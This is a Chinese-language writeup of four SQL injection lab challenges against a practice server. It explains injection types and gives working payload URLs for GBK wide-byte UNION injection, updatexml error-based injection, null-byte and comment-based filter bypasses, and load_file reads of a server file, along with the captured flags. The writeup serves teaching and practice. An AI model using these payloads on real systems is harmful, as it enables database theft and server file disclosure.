mysql注入测试多句_Writeup for sql注入靶机测试

2ff34e647e2e3cdfd8dca593e17d9b0a.png

—For sql注入靶机测试

>>SQL注入分类UNION query SQL injection(可联合查询注入)

Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

Stacked queries SQL injection(可多语句查询注入)

Time-based blind SQL injection(基于时间延迟注入)

>>SQL注入利用手法

UNION query SQL injection(可联合查询注入)

​ 要求网站没有过滤关键字 没有转义 有显示位

Error-based SQL injection(报错型注入)

​ 需要脚本输出 sql错误信息

Boolean-based blind SQL injection(布尔型注入)

​ 工作量大 需要时间

Stacked queries SQL injection(可多语句查询注入)

​ 有的数据库不支持

Time-based blind SQL injection(基于时间延迟注入)

​ 可以在条件很苛刻的情况下注入(无报错,无显示位),但非常费时间。

sql-1(103.238.227.13:10083)1-http://103.238.227.13:10083/?id=-1%df' UNION SELECT 1,database() --+

2-http://103.238.227.13:10083/?id=-1%df' UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

3-http://103.238.227.13:10083/?id=-1%df' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=char(107,101,121) --+

4.http://103.238.227.13:10083/?id=-1%df' UNION SELECT 1,group_concat(string) from .key group by id --+

013535527.png

013621013.png

id=1后加‘没有报错,应该是加了将其转义了。宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。如果我们输入%df’看会怎样:我们可以看到,已经报错了。我们看到报错,说明sql语句出错,看到出错说明可以注入了。

为什么从刚才到现在,只是在’也就是%27前面加了一个%df就报错了?而且从图中可以看到,报错的原因就是多了一个单引号,而单引号前面的反斜杠不见了。

这就是mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的也就是%5c变成了一个汉字“運”,而’逃逸了出来。

014329429.png

​ 找到注入点了,order by 试出有2个字段。

​ union 查询爆数据库。以为可以一套出,结果。它。报。错。了。

014712950.png

​ 然后再加上注释符。这样可以注释掉后面的sql语句,然后让其只执行攻击语句而达到目的。

​ 继续。查询数据库。

151814239.png

​ 得到sql5的库,继续,查表。

151951812.png

​ 快好了,马上就好了。再查询key表的字段。

180547109.png

​ 注意到表名用了ascii码,因为用’key’时''被转义了。

​ 最后从key表查询,这里查询时key表直接输入有问题,试了试其他字符都可以,应该是有过滤。

160042687.png

​ 这里不断的试,发现有一个点来连接,高涵表哥发现.key可以执行。

160200325.png

​ 这里`key`也可以绕过。

​ 最后。

181034762.png

​ aaaaaaaaaa

sql-2(103.238.227.13:10084)http://103.238.227.13:10084/?id=-1+anD Updatexml(1,concat(0x7e,(SELEcT @@veRsion),0x7e),1) --+

​ updatexml的爆错原因是updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错。

​ 但updatexml的最大长度是32位的,所以有所局限(PS:但是应对大多的已经足够。)

181525952.png

​ 数据库版本:5.5.48-log

sql-3(103.238.227.13:10087)http://103.238.227.13:10087/?id=1 u%00nion sel%00ect GROUP_CONCAT(hash),1 fr%00om .key --+

​ 提示给出了部分源码,可以看出对这么多查询语句都进行了过滤,而求大小写也不管用,会转换后比对。

​ %00 php和mysql对于其的处理不同,PHP会对其进行解码,而mysql会忽略,这样既绕过了过滤,又不影响sql语句的执行。

​ 步骤和第一个差不多,直接查询就好。

​ 这里查询时key表直接输入有问题,试了试其他字符都可以,应该是有过滤。

155449465.png

​ 同1

185603966.png

​ 返回1~c3d3c17b4ca7f791f85e#$1cc72af274af4adef

sql-4(103.238.227.13:10088)

​ 限制了空格,可以利用注释/**/代替空格,也可以用%0.

​ 暴错注入,之前updatexml函数报错注入可以,这里也利用的updatexml()函数暴错,ExtractValue()也可以,返回的数据同样有限,最长32位,但可以分批次提取。http://103.238.227.13:10088/?id=-1/**/and/**/updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)

163203172.pnghttp://103.238.227.13:10088/?id=-1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/load_file(0x2f7661722f746573742f6b65795f312e706870)),0x7e),1)

163503756.pnghttp://103.238.227.13:10088/?id=1%0aand%0aupdatexml(1,concat(0x7e,(select%0a(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),64,32))),0x7e),1)http://103.238.227.13:10088/?id=1%0aand%0aupdatexml(1,concat(0x7e,(select%0a(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),95,32))),0x7e),1)

​ 分2次读取再拼接。

163757467.png

163850106.png

得到Flag:”7249f5a7fd1de602b30e6f39aea6193a”

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值